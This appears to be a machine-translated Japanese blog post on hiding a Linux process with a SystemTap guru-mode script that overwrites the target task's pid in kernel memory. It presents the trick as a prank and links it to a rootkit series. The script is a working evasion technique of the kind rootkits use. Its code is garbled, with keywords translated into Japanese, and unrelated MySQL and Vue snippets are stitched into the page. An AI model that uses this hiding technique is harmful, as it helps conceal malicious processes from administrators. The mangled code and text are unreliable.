友人たちはいつも、Linux のプロセスを隠す方法を私に尋ねます。私は、どの程度隠したいのか、カーネル内で隠したいのか、ユーザーから隠したいのかを尋ねます。 オンラインでの議論はすべて、procfs や同様のユーザー モード ソリューションのフックに関するもので、どれも長文です。これらのシナリオは大きすぎて複雑すぎると私は思います。すぐに結果を見たい人にとっては、このような複雑なものを見るとやる気が失せてしまうかもしれません。 この記事では、たった 1 行のコードで Linux プロセスをユーザーから隠す、型破りな方法を紹介します。 プロセスの pid を変更するだけです。 相手は Xiao Yin なので、反撃する価値はありません。ただ楽しむために、上級カンファレンス エンジニアにいたずらをしましょう。 完全なスクリプトは次のとおりです。 #!/usr/bin/stap -g #非表示.stp グローバル pid; 関数hide(who:long) %{ 構造体task_struct *ターゲット; ターゲット = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID); ターゲット->pid = 0x7fffffff; %} 調査開始 { pid = $1 非表示(pid); 出口(); } さあ、試してみてください: [root@localhost system]# ./tohide & [1] 403 [root@localhost システム]# ./hide.stp [root@localhost システム]# プロセスを表示できるすべてのバイナリ ファイルを検出するには、次のコマンドを使用できます。 pid が $(ls /proc|awk '/^[0-9]+/{print $1}') の場合、 ls -l /proc/$pid/exe; 終わり procfs でそれが消えてしまった場合、ps は当然それを検出できません。 guru-mode stap がおかしいと思われる場合は、独自の独立した Linux カーネル モジュールを作成し、変更と終了の方法を使用できます。 ターゲット->pid = xxxx; -1 を返します。 各種フックメソッドよりもずっと簡単じゃないですか?いわゆるコードではなくデータを移動するというやつです! その原理を簡単に説明しましょう。
もう言葉はありません。 もう一度言いますが、この記事で説明した方法に対抗しようとしないでください。こんなに単純なものには対抗する価値がないからです、ハハ、そうですよね? Linux プロセスがカーネル内に隠れる仕組みをさらに詳しく知るには、以前の Rootkit シリーズの記事を参照してください。同時に、それぞれの方法に対する対策も示しました。 1 行のコードで Linux プロセスを非表示にする方法についての記事はこれで終わりです。Linux の非表示プロセスの詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
<<: Vue3とTypeScriptを組み合わせたプロジェクト開発の実践記録
>>: Vue-router は現在の場所 (/path) へのナビゲーションを許可しません。エラーの原因と修正
覚えて: IDE ディスク: 最初のディスクは hda、2 番目のディスクは hdb...最初のディ...
サーバーのデータベース ハード ディスク領域がいっぱいだったため、大量のデータの書き込みに失敗し、「...
場合によっては、SQL ステートメントが通常どおり、非常に速く実行される状況に遭遇することがあります...
MyISAM と InnoDB は、MySQL で最も一般的なストレージ エンジンです。前回の記事で...
以前、raspbian で実行したときに opencv の一部の依存関係をパッケージ化できず、一部の...
1.MySQL関数1. 数学関数PI() # 円周率 (pi) の値を返します。デフォルトの小数点...
この記事では、MySQL インデックス カバレッジについて例を挙げて説明します。ご参考までに、詳細は...
この記事の例では、Appleの電卓を実装するためのJSの具体的なコードを参考までに共有しています。具...
序文最近、小さなデモを作成しました。大規模な工場のオンライン データを使用したため、インターフェイス...
昨日 HTML を少し学んだばかりで、JD.com の検索バーを作るのが待ちきれませんでした。 作っ...
目次1. uuid関数を使用して、一意かつ不規則な主キーIDを生成します。 2. idの自動成長1....
現在の日付を照会する CURRENT_DATE() を選択します。 CURDATE() を選択する;...
MySQL は人気のオープンソースデータベース管理システムとして多くのユーザーが利用しています。デー...
時々、データベース テーブルに重複したデータが大量に保存されます。これらの重複データはリソースを浪費...
目次前提TypeScript と JavaScriptコードエディタの選択TypeScriptを学ぶ...